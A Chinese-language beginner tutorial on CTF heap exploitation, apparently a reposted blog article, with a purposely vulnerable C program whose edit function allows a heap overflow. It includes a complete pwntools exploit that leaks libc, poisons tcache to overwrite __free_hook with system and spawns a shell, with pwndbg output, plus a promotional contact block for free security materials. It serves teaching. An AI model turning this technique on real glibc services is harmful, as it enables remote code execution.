淺說一下pwn堆,並用一個簡單的例子具體說明,給剛入坑堆的小朋友說的一些思路。
堆是什麼
堆,你可以看成一個結構體數組,然後數組裏每個元素都會開闢一塊內存來存儲數據,那麼這塊用來存儲數據的內存就是堆。
結構體數組在BSS段上,其內容就是堆的地址,也就是堆的指針。
堆的理解
堆有很多題型 什麼堆溢出,off by null , uaf 等。
核心的話主要是學思想,所有人都知道我要得到shell,cat flag。但是要怎麼去幹得有個過程,
比如我們做棧題,很容易知道我要劫持棧的返回去執行任意地址,填入shellcode什麼的。
堆的話也是一樣。
就是用system
去執行/bin/sh
。越複雜的問題往往只需要很簡單的道理。
所以堆到底要怎麼去執行。
我們可以把某一個函數的內容改成system,下次調用該函數即是使用system,
再在別的堆裏面放入/bin/sh
字符串,然後再用剛剛修改的函數,使用已經放入字符串的堆。
即可執行system(/bin/sh)
了
一般修改__free_hook
,使其內容變成system
然後再free掉放有/bin/sh
的堆
舉例說明
我用一個很簡單的例子去一步一步簡單剖析。
這裏我用一個很簡單的例子去一步一步簡單剖析。
先給出源碼和gcc編譯,使用的是Ubuntu18
gcc -o lizi lizi.c
#include<stdio.h> #include<stdlib.h> char *heap[0x20]; int num=0; void create() { if(num>=0x20) { puts("no more"); return; } int size; puts("how big"); scanf("%d",&size); heap[num]=(char *)malloc(size); num++; } void show(){ int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { printf("Content:"); printf("%s",heap[idx]); } } void dele() { int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; } } void edit() { int size; int idx; char buf[4]; puts("idx"); (read(0, buf, 4)); idx = atoi(buf); if (!heap[idx]) { puts("no have things\n"); } else { puts("how big u read"); scanf("%d",&size); puts("Content:"); read(0,heap[idx],size); } } void menu(void){ puts("1.create"); puts("2.dele"); puts("3.edit"); puts("4.show"); } void main() { int choice; while(1) { menu(); scanf("%d",&choice); switch(choice) { case 1:create();break; case 2:dele();break; case 3:edit();break; case 4:show();break; default:puts("error"); } } }
我們也不用ida了,直接源碼分析,很明顯在edit處能知道我們可以修改堆大小,
而導致的堆溢出修改下一個堆。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:yj009991,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC CVE 分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
我們可以直接使用unsortedbin,申請較大的堆,再free掉,再申請個小堆,
使其從unsortedbin裏面切割堆,這樣,你申請的小堆就會有一些unsortedbin裏面的東西。
(具體請看unsortedbin介紹)
結合exp介紹:
from pwn import * r=process('./lizi') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level='debug' def add(size): r.sendlineafter("4.show\n",'1') r.sendlineafter("idx\n",str(size)) def dele(idx): r.sendlineafter("4.show\n",'2') r.sendlineafter("idx\n",str(idx)) def edit(idx,size,con): r.sendlineafter("4.show\n",'3') r.sendlineafter("idx\n",str(idx)) r.sendlineafter("how big u read\n",str(size)) r.sendafter("Content:\n",con) def show(idx): r.sendlineafter("4.show\n",'4') r.sendlineafter("idx\n",str(idx)) add(0x420) add(0x420) add(0x420) dele(1) add(0x70) show(2) r.recvuntil("Content:") base=u64(r.recv(6)+'\x00'*2)-0x3ec090 print(hex(base)) free=base+libc.sym['__free_hook'] sys=base+libc.sym['system'] add(0x70) dele(3) edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free)) add(0x70) add(0x70) edit(3,0x10,"/bin/sh\x00") edit(4,0x10,p64(sys)) dele(3) r.interactive()
首先菜單不用多說,很簡單的交互,寫好就行
然後申請3個堆,爲了保證能進入unsortedbin,得大於tcache的大小,然後free掉1號堆
unsortedbin all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0
可以看到1號堆已經進入到unsortedbin了
然後申請一個小堆
pwndbg> x/32gx 0x55697b2cfaa0 0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081 0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090 0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0 0x55697b2cfad0: 0x0000000000000000 0x0000000000000000 0x55697b2cfae0: 0x0000000000000000 0x0000000000000000 0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000 0x55697b2cfb00: 0x0000000000000000 0x0000000000000000 0x55697b2cfb10: 0x0000000000000000 0x0000000000000000 0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1 0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0 0x55697b2cfb40: 0x0000000000000000 0x0000000000000000 0x55697b2cfb50: 0x0000000000000000 0x0000000000000000 0x55697b2cfb60: 0x0000000000000000 0x0000000000000000 0x55697b2cfb70: 0x0000000000000000 0x0000000000000000 0x55697b2cfb80: 0x0000000000000000 0x0000000000000000 0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
查看申請堆的地址可以發現,11行處是已經之前free掉的1號堆,這個申請的堆會在unsortedbin裏面切割
然後會有殘留地址,然後我們把他show出來就可以計算一波libc地址了。
算出system
,__free_hook
的libc,
接着爲什麼要多申請一個堆,這裏就是堆溢出的打法了,
在剛剛申請的堆後面再建一個堆,然後通過free掉修改內容指向__free_hook
地址
再把內容改成system
就可以把free當做system用了;
在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))後面打個斷點
GDB看看
pwndbg> bin tcachebins 0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0 smallbins empty largebins empty
會發現tcache裏面已經有__free_hook
了,因爲已經把內容改成__free_hook
的地址了。
然後申請2個堆,把tcache裏面的__free_hook
拿出來。
你也可以驗證一下、
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x55f37bb59000 0x55f37bb5a000 r-xp 1000 0
pwndbg> x/32gx 0x5597ecced000+0x202040 0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000 0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30 0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000 0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000
0x202040
是heap的偏移,可以從ida裏面找到。
申請出來的堆,__free_hook
在4號堆
pwndbg> x/32gx 0x00007f7694f2e8e8 0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000 0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000
成功證明,
然後已知4號堆是__free_hook
了,那麼將4號堆的內容改成system
的地址,不就可以了嗎
然後再把3號堆寫入/bin/sh
然後free(實際上已經變成system)掉3號堆(實際上已經是/bin/sh
)了
成功取得shell
總結
做堆題主要是要有一個總體想法就是要把什麼變成system
去執行shell,或者也有別的,比如malloc等。
這裏只是一個總體思路,畢竟拿到堆題如果一條總想法都沒有的話,就只能乾坐着了。
更多靶場實驗練習、網安學習資料,請點擊這裏 >>